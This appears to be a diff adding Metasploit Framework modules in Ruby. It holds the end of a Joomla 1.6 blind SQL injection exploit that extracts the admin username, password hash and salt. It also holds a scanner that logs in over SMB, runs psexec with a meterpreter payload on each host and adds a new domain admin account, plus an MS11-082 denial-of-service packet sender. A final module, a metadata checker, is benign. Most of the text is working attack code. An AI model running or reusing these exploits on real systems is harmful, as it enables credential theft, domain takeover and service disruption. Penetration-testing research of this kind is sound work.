filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
|
||||
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
|
||||
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
|
||||
encoding = value['encoding'] ? value['encoding']: "Binary"
|
||||
|
||||
# Build multipart data
|
||||
temp << "--#{bndr}\r\n"
|
||||
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
|
||||
temp << "Content-Type: #{mimetype}\r\n"
|
||||
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
|
||||
temp << "\r\n"
|
||||
temp << "#{contents}\r\n"
|
||||
|
||||
else
|
||||
# Build multipart data
|
||||
temp << "--#{bndr}\r\n"
|
||||
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
|
||||
temp << "\r\n"
|
||||
temp << "#{value}\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
# Complete the form data
|
||||
temp << "--#{bndr}--\r\n"
|
||||
|
||||
# Assigned
|
||||
data = temp
|
||||
|
||||
# Determine Content-Length
|
||||
headers['Content-Length'] = data.length
|
||||
|
||||
# Send request
|
||||
resp = send_request_raw(
|
||||
{
|
||||
'uri' => datastore['JDIR'] + url,
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => headers
|
||||
},
|
||||
timeout)
|
||||
|
||||
# Returned
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
# Generic get wrapper
|
||||
def http_get(url, headers = {}, timeout = 15)
|
||||
|
||||
# Protocol
|
||||
proto = datastore['SSL'] ? 'https': 'http'
|
||||
|
||||
# Determine request url
|
||||
url = url.length ? url: ''
|
||||
|
||||
# Determine User-Agent
|
||||
headers['User-Agent'] = headers['User-Agent'] ?
|
||||
headers['User-Agent'] : datastore['AGNT']
|
||||
|
||||
# Determine Referer
|
||||
headers['Referer'] = headers['Referer'] ?
|
||||
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
|
||||
|
||||
# Delete all the null headers
|
||||
headers.each do | hkey, hval |
|
||||
|
||||
# Null value // Also, remove post specific data, due to a bug ...
|
||||
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
|
||||
|
||||
# Delete header key
|
||||
headers.delete(hkey)
|
||||
end
|
||||
end
|
||||
|
||||
# Send request
|
||||
resp = send_request_raw({
|
||||
'uri' => datastore['JDIR'] + url,
|
||||
'headers' => headers,
|
||||
'method' => 'GET',
|
||||
}, timeout)
|
||||
|
||||
# Returned
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
# Used to perform benchmark querys
|
||||
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )
|
||||
|
||||
# Init
|
||||
wait = 0
|
||||
|
||||
# Defaults
|
||||
table = table ? table: 'users'
|
||||
|
||||
# SQL Injection string used to trigger the MySQL BECNHMARK() function
|
||||
sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")
|
||||
|
||||
# Number of tests to run. We run this
|
||||
# amount of tests and then look for a
|
||||
# median value that is greater than
|
||||
# the benchmark difference.
|
||||
tnum = tnum ? tnum: datastore['BMRC']
|
||||
|
||||
# Run the tests
|
||||
tnum.to_i.times do | i |
|
||||
|
||||
# Start time
|
||||
bmc1 = Time.now.to_i
|
||||
|
||||
# Make the request
|
||||
init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))
|
||||
|
||||
# End time
|
||||
bmc2 = Time.now.to_i
|
||||
|
||||
# Total time
|
||||
wait += bmc2 - bmc1
|
||||
end
|
||||
|
||||
# Return the results
|
||||
return ( wait.to_i / tnum.to_i )
|
||||
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
def get_users_data(snum, slim, cset, sqlf, sqlw)
|
||||
|
||||
# Start time
|
||||
tot1 = Time.now.to_i
|
||||
|
||||
# Initialize
|
||||
reqc = 0
|
||||
retn = String.new
|
||||
|
||||
# Extract salt
|
||||
for i in snum..slim
|
||||
|
||||
# Offset position
|
||||
oset = ( i - snum ) + 1
|
||||
|
||||
# Loop charset
|
||||
for cbit in cset
|
||||
|
||||
# Test character
|
||||
cbit.each do | cchr |
|
||||
|
||||
# Start time (overall)
|
||||
bmc1 = Time.now.to_i
|
||||
|
||||
# Benchmark query
|
||||
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])
|
||||
|
||||
# Noticable delay? We must have a match! ;)
|
||||
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
|
||||
|
||||
# Verbose
|
||||
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
|
||||
|
||||
# Append chr
|
||||
retn << cchr
|
||||
|
||||
# Exit loop
|
||||
break
|
||||
end
|
||||
|
||||
# Counter
|
||||
reqc += 1
|
||||
|
||||
end # each
|
||||
end # for
|
||||
|
||||
# Host not vulnerable?
|
||||
if ( oset != retn.length )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
|
||||
return nil
|
||||
end
|
||||
end # for
|
||||
|
||||
# End time (total)
|
||||
tot2 = Time.now.to_i
|
||||
|
||||
# Benchmark totals
|
||||
tot3 = tot2 - tot1
|
||||
|
||||
# Verbose
|
||||
print_status("Found data: #{retn}")
|
||||
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")
|
||||
|
||||
# Return
|
||||
return retn
|
||||
end
|
||||
|
||||
#################################################
|
||||
|
||||
def run
|
||||
|
||||
# Numeric test string
|
||||
tstr = Time.now.to_i.to_s
|
||||
|
||||
# MD5 test string
|
||||
tmd5 = Rex::Text.md5(tstr)
|
||||
|
||||
#################################################
|
||||
# STEP 01 // Attempt to extract Joomla version
|
||||
#################################################
|
||||
|
||||
# Verbose
|
||||
print_status("Attempting to determine Joomla version")
|
||||
|
||||
# Banner grab request
|
||||
resp = http_get("index.php")
|
||||
|
||||
# Extract Joomla version information
|
||||
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )
|
||||
|
||||
# Version
|
||||
vers = $1.strip
|
||||
|
||||
# Version "parts"
|
||||
ver1, ver2, ver3 = vers.split(/\./)
|
||||
|
||||
# Only if 1.6.0 aka 1.6
|
||||
if ( ver2.to_i != 6 || ver3 )
|
||||
|
||||
# Exploit failed
|
||||
print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")
|
||||
print_error("Proceed with extreme caution, as the exploit may fail")
|
||||
init_debug(resp)
|
||||
else
|
||||
|
||||
# Verbose
|
||||
print_status("The target is running Joomla version : #{vers}")
|
||||
end
|
||||
else
|
||||
|
||||
# Verbose
|
||||
print_error("Unable to determine Joomla version ...")
|
||||
end
|
||||
|
||||
#################################################
|
||||
# STEP 02 // Trigger an SQL error in order to get
|
||||
# the database table prefix for future use.
|
||||
#################################################
|
||||
|
||||
# Trigger an SQL error
|
||||
resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")
|
||||
|
||||
# Attempt to extract the table prefix
|
||||
if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )
|
||||
|
||||
# Prefix
|
||||
datastore['PREF'] = $1
|
||||
|
||||
# Verbose
|
||||
print_status("Host appears vulnerable!")
|
||||
print_status("Got database table prefix : #{datastore['PREF']}")
|
||||
end
|
||||
|
||||
#################################################
|
||||
# STEP 03 // Calculate BENCHMARK() response times
|
||||
#################################################
|
||||
|
||||
# Verbose
|
||||
print_status("Calculating target response times")
|
||||
print_status("Benchmarking #{datastore['BMRC']} normal requests")
|
||||
|
||||
# Normal request median (globally accessible)
|
||||
datastore['BMC0'] = sql_benchmark("1=2")
|
||||
|
||||
# Verbose
|
||||
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
|
||||
print_status("Benchmarking #{datastore['BMRC']} delayed requests")
|
||||
|
||||
# Delayed request median
|
||||
bmc1 = sql_benchmark("1=1")
|
||||
|
||||
# Verbose
|
||||
print_status("Delayed request avg: #{bmc1.to_s} seconds")
|
||||
|
||||
# Benchmark totals
|
||||
bmct = bmc1 - datastore['BMC0']
|
||||
|
||||
# Delay too small. The host may not be
|
||||
# vulnerable. Try increasing the BMCT.
|
||||
if ( bmct.to_i < datastore['BMDF'].to_i )
|
||||
|
||||
# Verbose
|
||||
print_error("Either your benchmark threshold is too small, or host is not vulnerable")
|
||||
print_error("To increase the benchmark threshold adjust the value of the BMDF option")
|
||||
print_error("To increase the expression iterator adjust the value of the BMCT option")
|
||||
return
|
||||
else
|
||||
# Host appears exploitable
|
||||
print_status("Request Difference: #{bmct.to_s} seconds")
|
||||
end
|
||||
|
||||
atot = 0 # Total admins
|
||||
scnt = 0 # Step counter
|
||||
step = 10 # Step increment
|
||||
slim = 10000 # Step limit
|
||||
|
||||
# 42 is the hard coded base uid within Joomla ...
|
||||
# ... and the answer to the ultimate question! ;]
|
||||
snum = 42
|
||||
|
||||
# No user supplied limit?
|
||||
if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 )
|
||||
|
||||
# Verbose
|
||||
print_status("Calculating total number of administrators")
|
||||
|
||||
# Check how many admin accounts are in the database
|
||||
for i in 0..slim do
|
||||
|
||||
# Benchmark
|
||||
bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])
|
||||
|
||||
# If we do not have a delay, then we have reached the end ...
|
||||
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
|
||||
|
||||
# Range
|
||||
atot = i
|
||||
|
||||
# Verbose
|
||||
print_status("Successfully confirmed #{atot.to_s} admin accounts")
|
||||
|
||||
# Exit loop
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
|
||||
# User supplied limit
|
||||
atot = datastore['AUID'] ? 1: datastore['ALIM']
|
||||
end
|
||||
|
||||
#################################################
|
||||
# STEP 04 // Attempting to find a valid admin id
|
||||
#################################################
|
||||
|
||||
# Loops until limit
|
||||
while ( snum < slim && scnt < atot )
|
||||
|
||||
# Specific admin user ID?
|
||||
if ( datastore['AUID'].to_i == 0 )
|
||||
|
||||
# Verbose
|
||||
print_status("Attempting to find a valid admin ID")
|
||||
|
||||
# Verbose
|
||||
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
|
||||
|
||||
# Here we attempt to find a valid admin user id by incrementally searching the table
|
||||
# "user_usergroup_map" for users belonging to the user group 8, which is, by default
|
||||
# the admin user group. First we step through 10 at a time until we pass up a usable
|
||||
# admin id, then we step back by #{step} and increment by one until we have a match.
|
||||
for i in snum.step(slim, step)
|
||||
|
||||
# Benchmark
|
||||
bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
|
||||
|
||||
# Noticable delay? We must have a match! ;)
|
||||
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
|
||||
|
||||
# Range
|
||||
itmp = i
|
||||
|
||||
# Exit loop
|
||||
break
|
||||
else
|
||||
|
||||
# Out of time ..
|
||||
if ( i == slim )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to find a valid user id. Exploit failed!")
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Jump back by #{step} and increment by one
|
||||
for i in ( itmp - step ).upto(( itmp + step ))
|
||||
|
||||
# Benchmark
|
||||
bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
|
||||
|
||||
# Noticable delay? We must have a match! ;)
|
||||
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
|
||||
|
||||
# UserID
|
||||
auid = i
|
||||
|
||||
# Verbose
|
||||
print_status("Found a valid admin account uid : #{auid.to_s}")
|
||||
|
||||
# Step Counter
|
||||
scnt += 1
|
||||
|
||||
# Exit loop
|
||||
break
|
||||
else
|
||||
|
||||
# Out of time ..
|
||||
if ( i == ( itmp + step ) )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to find a valid user id. Exploit failed!")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
|
||||
# Specific admin id target
|
||||
auid = datastore['AUID']
|
||||
print_status("Targeting admin user id: #{auid.to_s}")
|
||||
end
|
||||
|
||||
#################################################
|
||||
# These are the charsets used for the enumeration
|
||||
# operations and can be easily expanded if needed
|
||||
#################################################
|
||||
|
||||
# Hash charset a-f0-9
|
||||
hdic = [ ('a'..'f'), ('0'..'9') ]
|
||||
|
||||
# Salt charset a-zA-Z0-9
|
||||
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
|
||||
|
||||
# Username charset
|
||||
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
|
||||
|
||||
#################################################
|
||||
# STEP 05 // Attempt to extract admin pass hash
|
||||
#################################################
|
||||
|
||||
# Verbose
|
||||
print_status("Attempting to gather admin password hash")
|
||||
|
||||
# Get pass hash
|
||||
if ( !( hash = get_users_data(
|
||||
1, # Length Start
|
||||
32, # Length Maximum
|
||||
hdic, # Charset Array
|
||||
"password", # SQL Field name
|
||||
"id=#{auid.to_s}" # SQL Where data
|
||||
) ) )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to gather admin pass hash. Exploit failed!!")
|
||||
return
|
||||
end
|
||||
|
||||
#################################################
|
||||
# STEP 06 // Attempt to extract admin pass salt
|
||||
#################################################
|
||||
|
||||
# Verbose
|
||||
print_status("Attempting to gather admin password salt")
|
||||
|
||||
# Get pass salt
|
||||
if ( !( salt = get_users_data(
|
||||
34, # Length Start
|
||||
65, # Length Maximum
|
||||
sdic, # Charset Array
|
||||
"password", # SQL Field name
|
||||
"id=#{auid.to_s}" # SQL Where data
|
||||
) ) )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to gather admin pass salt. Exploit failed!!")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
#################################################
|
||||
# STEP 08 // Attempt to extract admin username
|
||||
#################################################
|
||||
|
||||
# Verbose
|
||||
print_status("Attempting to determine target username length")
|
||||
|
||||
# Hard limit is 150
|
||||
for i in 1.upto(150)
|
||||
|
||||
# Benchmark
|
||||
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])
|
||||
|
||||
# Noticable delay? We must have a match! ;)
|
||||
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
|
||||
|
||||
# Length
|
||||
ulen = i
|
||||
|
||||
# Verbose
|
||||
print_status("The username is #{i.to_s} characters long")
|
||||
|
||||
# Exit loop
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Verbose
|
||||
print_status('Gathering admin username')
|
||||
|
||||
# Get pass salt
|
||||
if ( !( user = get_users_data(
|
||||
1, # Length Start
|
||||
ulen, # Length Maximum
|
||||
udic, # Charset Array
|
||||
"username", # SQL Field name
|
||||
"id=#{auid.to_s}" # SQL Where data
|
||||
) ) )
|
||||
|
||||
# Failure
|
||||
print_error("Unable to gather admin user name. Exploit failed!!")
|
||||
return
|
||||
end
|
||||
|
||||
# Verbose
|
||||
print_status("USER: #{user} (ID: #{auid.to_s})")
|
||||
print_status("HASH: #{hash}")
|
||||
print_status("SALT: #{salt}")
|
||||
print_status("Inserting credentials into the note database ...")
|
||||
|
||||
# Note data
|
||||
ndat = {
|
||||
|
||||
# Joomla directory
|
||||
"JDIR" => datastore['JDIR'],
|
||||
|
||||
# Admin ID
|
||||
"AUID" => auid,
|
||||
|
||||
# Admin User
|
||||
"USER" => user,
|
||||
|
||||
# Admin Hash
|
||||
"HASH" => hash,
|
||||
|
||||
# Admin Salt
|
||||
"SALT" => salt,
|
||||
}
|
||||
|
||||
# Save results
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => "Joomla Admin Credentials",
|
||||
:data => ndat
|
||||
)
|
||||
end # while
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,134 @@
|
||||
##
|
||||
# $Id: smb_version.rb 10458 2010-09-24 17:52:25Z todb $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize (info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Local Admin Pwnage Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Using Local Admin credentials to try to achieve Domain Admin access. Uses windows/meterpreter/bind_tcp as a payload.',
|
||||
'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',
|
||||
'License' => MSF_LICENSE))
|
||||
# These are normally advanced options, but for this module they have a
|
||||
# more active role, so make them regular options.
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMBPass', [ false, "SMB Password" ]),
|
||||
OptString.new('SMBUser', [ false, "SMB Username" ]),
|
||||
OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']),
|
||||
OptInt.new('THREADS', [ false, "Threads for (smb_login & smb_version)", 10]),
|
||||
OptString.new('PASS', [ true, "New User's Password", "" ]),
|
||||
OptString.new('USER', [ true, "New User to add to the Domain (as Domain Admin)", ""]),
|
||||
OptBool.new('VERBOSE', [ false, "Verbose Output", true]),
|
||||
], self.class)
|
||||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
## Run psexec on a given IP
|
||||
def psexec(ip)
|
||||
payload = 'windows/meterpreter/bind_tcp'
|
||||
psexec = framework.modules.create("exploit/windows/smb/psexec")
|
||||
psexec.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp'
|
||||
psexec.datastore['MODULE_OWNER'] = self.owner
|
||||
psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
||||
psexec.datastore['RHOST'] = ip
|
||||
psexec.datastore['SMBUser'] = datastore["SMBUser"]
|
||||
psexec.datastore['SMBPass'] = datastore["SMBPass"]
|
||||
psexec.datastore['SMBDomain'] = datastore["SMBDomain"]
|
||||
psexec.datastore['SHARE'] = 'ADMIN$'
|
||||
psexec.datastore['RPORT'] = 445
|
||||
psexec.datastore['ExitOnSession'] = false
|
||||
psexec.datastore['DisablePayloadHandler'] = false
|
||||
psexec.datastore['EXITFUNC'] = 'process'
|
||||
psexec.datastore['VERBOSE'] = true
|
||||
psexec.datastore['ForceBlocking'] = true
|
||||
psexec.exploit_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Payload' => payload,
|
||||
'Target' => 0,
|
||||
'ForceBlocking' => true,
|
||||
'RunAsJob' => true)
|
||||
Rex::ThreadSafe.sleep(4)
|
||||
end
|
||||
|
||||
## add user to the domain and to the domain admins group for a given session id
|
||||
def add_user_domain(sid)
|
||||
add_user_domain = framework.modules.create("post/windows/manage/add_user_domain")
|
||||
add_user_domain.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
||||
add_user_domain.datastore['SESSION'] = sid
|
||||
add_user_domain.datastore['ADDTOGROUP'] = true
|
||||
add_user_domain.datastore['ADDTODOMAIN'] = true
|
||||
add_user_domain.datastore['PASS'] = datastore['PASS']
|
||||
add_user_domain.datastore['USER'] = datastore['USER']
|
||||
add_user_domain.datastore['TOKEN'] = ""
|
||||
add_user_domain.run_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'RunAsJob' => false)
|
||||
end
|
||||
|
||||
def smb_version
|
||||
smb_version = framework.modules.create("auxiliary/scanner/smb/smb_version")
|
||||
smb_version.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
||||
smb_version.datastore['RHOSTS'] = datastore['RHOSTS']
|
||||
smb_version.datastore['THREADS'] = datastore['THREADS']
|
||||
smb_version.datastore['VERBOSE'] = datastore['VERBOSE']
|
||||
smb_version.run_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'RunAsJob' => false)
|
||||
end
|
||||
|
||||
def smb_login
|
||||
smb_login = framework.modules.create("auxiliary/scanner/smb/smb_login")
|
||||
smb_login.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
|
||||
smb_login.datastore['RHOSTS'] = datastore['RHOSTS']
|
||||
smb_login.datastore['THREADS'] = datastore['THREADS']
|
||||
smb_login.datastore['SMBUser'] = datastore['SMBUser']
|
||||
smb_login.datastore['SMBPass'] = datastore['SMBPass']
|
||||
smb_login.datastore['SMBDomain'] = datastore['SMBDomain'] || "WORKGROUP"
|
||||
smb_login.datastore['BLANK_PASSWORDS'] = false
|
||||
smb_login.datastore['USER_AS_PASS'] = false
|
||||
smb_login.datastore['VERBOSE'] = datastore['VERBOSE']
|
||||
smb_login.run_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'RunAsJob' => false)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Starting Local Admin Pwnage Scanner')
|
||||
|
||||
smb_version()
|
||||
smb_login()
|
||||
|
||||
range_walker = Rex::Socket::RangeWalker.new(datastore['RHOSTS'])
|
||||
range_walker.each do |ip|
|
||||
print_status("Running psexec on #{ip}")
|
||||
psexec(ip)
|
||||
end
|
||||
|
||||
framework.sessions.each_key do |sid|
|
||||
session = framework.sessions[sid]
|
||||
next if session.type != "meterpreter"
|
||||
add_user_domain(sid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS11-082 Microsoft Host Integration Server Denial-of-Service",
|
||||
'Description' => %q{Module Description},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ses Wang', #RCA, PoC (Qualys Community)
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-2008'],
|
||||
['MSB', 'MS11-082'],
|
||||
['URL', 'https://community.qualys.com/blogs/securitylabs/2011/11/02/dos-analysis-of-microsoft-host-integration-server-cve-2011-2008-in-ms11-082']
|
||||
],
|
||||
'DisclosureDate' => "Oct 11 2011"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1478)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
buf = "\x00\x00"
|
||||
buf << "\x01" #Must be 0x01 to satisfy the condition
|
||||
buf << "\x4c\x00" #Must be larger than 0x4b to satisfy the condition
|
||||
|
||||
connect_udp
|
||||
udp_socket.put(buf)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,530 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Msftidy Scan',
|
||||
'Description' => %q{
|
||||
This module scans Metasploit modules for inconsistent values in the info hash.
|
||||
},
|
||||
'Author' => [ 'mihi' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
# match rules common for different module types
|
||||
name_match = RegexStringMatch.new(/^[A-Za-z0-9 !-\/:->\[\]_{}]+$/)
|
||||
version_match = RegexStringMatch.new(/^(\$Revision\$|0)$/)
|
||||
#email_match ='([0-9A-Za-z._]+( at |\[at\]| \[at\] |\[ad\]|@)[0-9A-Za-z.-]+( (\[dot\]|\{dot\}) [a-z]+)?)' # TODO
|
||||
#author_match = ArrayOrSingleMatch.new(RegexStringMatch.new(
|
||||
# Regexp.new('^('+email_match+'|r?@?[#A-Za-z0-9 ".)\[\]=_:&,!'+"'"+'-]+|[A-Za-z0-9 "._()!-]*(<' + email_match + '>)?( *\([^()]+\))?)$')
|
||||
#))
|
||||
author_match = ArrayOrSingleMatch.new(RegexStringMatch.new(/^[^<>]*(<[^<>]*>[^<>]*)?$/)) # I give up
|
||||
arch_match = ArrayOrSingleMatch.new(ListMatch.new(ARCH_TYPES))
|
||||
platform_match = ArrayOrSingleMatch.new(ListMatch.new([
|
||||
'win',
|
||||
'linux', 'unix', 'osx',
|
||||
'bsd',
|
||||
'bsdi', 'cisco', 'irix', 'hpux',
|
||||
'solaris', 'aix', 'java', 'netware', 'php', ''
|
||||
]))
|
||||
license_match = ArrayOrSingleMatch.new(ListMatch.new([MSF_LICENSE, BSD_LICENSE]))
|
||||
|
||||
# nop rules
|
||||
nop_matchers = {
|
||||
'Name*' => name_match,
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
'Version*' => version_match,
|
||||
'Author*' => author_match,
|
||||
'Arch*' => arch_match,
|
||||
'Platform*' => ListMatch.new(['']),
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false]),
|
||||
'License*' => license_match,
|
||||
'Alias' => RegexStringMatch.new(/^[a-z0-9_]+$/),
|
||||
'Compat*' => HashMatch.new({
|
||||
'Payload*' => HashMatch.new({}),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({})
|
||||
})
|
||||
}
|
||||
|
||||
# encoder rules
|
||||
encoder_type_list = [] # filled automatically
|
||||
encoder_matchers = {
|
||||
'Name*' => name_match,
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
'Version*' => version_match,
|
||||
'Author*' => author_match,
|
||||
'Arch*' => arch_match,
|
||||
'Platform*' => ListMatch.new(['']),
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false]),
|
||||
'License*' => license_match,
|
||||
'EncoderType' => CollectMatch.new(encoder_type_list, /^[a-z0-9_]+$/),
|
||||
'Decoder' => HashMatch.new({
|
||||
'BlockSize*' => ListMatch.new([1,4,8]),
|
||||
'KeyOffset' => ListMatch.new([2]),
|
||||
'KeySize' => ListMatch.new([4,8]),
|
||||
'KeyPack' => ListMatch.new(['V', 'N', 'Q']),
|
||||
'Stub' => RegexStringMatch.new(/./)
|
||||
}),
|
||||
'Compat*' => HashMatch.new({
|
||||
'Payload*' => HashMatch.new({}),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({})
|
||||
})
|
||||
}
|
||||
|
||||
# auxiliary rules
|
||||
auxiliary_matchers = {
|
||||
'Name*' => name_match,
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
'Version*' => version_match,
|
||||
'Author*' => author_match,
|
||||
'Arch*' => ListMatch.new([nil]),
|
||||
'Platform*' => ListMatch.new([[]]),
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false]),
|
||||
'License*' => license_match,
|
||||
'References' => ReferencesMatch.new(),
|
||||
'DefaultOptions' => HashMatch.new({
|
||||
'DCERPC::fake_bind_multi' => ListMatch.new([false]),
|
||||
'DCERPC::ReadTimeout' => ListMatch.new([300]),
|
||||
'InitialAutoRunScript' => ListMatch.new(['migrate -f']),
|
||||
'HTTP::server_name' => ListMatch.new(['IIS']),
|
||||
'SRVPORT' => ListMatch.new([80])
|
||||
}),
|
||||
'Stance' => ListMatch.new(['passive']),
|
||||
'Compat*' => HashMatch.new({
|
||||
'Payload*' => HashMatch.new({}),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({})
|
||||
}),
|
||||
'DisclosureDate' => DisclosureDateMatch.new(),
|
||||
'Actions' => TODOMatch.new(), # ['Name1', 'Name2'] or [['Name1', {Args1}], ['Name2', {Args2}], ['Name3', {Args3}]]
|
||||
'PassiveActions' => TODOMatch.new(), # like Actions
|
||||
'DefaultAction' => RegexStringMatch.new(/[A-Za-z0-9 ]+/), # TODO one of Actions
|
||||
'Passive' => ListMatch.new([true]),
|
||||
'DefaultTarget' => OrMatch.new(ListMatch.new([0]), RegexStringMatch.new(/[A-Za-z0-9 ]+/)), # TODO one of Targets
|
||||
'Targets' => TODOMatch.new()
|
||||
}
|
||||
|
||||
# payload rules
|
||||
payload_connection_type_list = []
|
||||
payload_convention_list = []
|
||||
payload_required_cmd = []
|
||||
payload_matchers = {
|
||||
'Name*' => CommaListMatch.new(name_match),
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
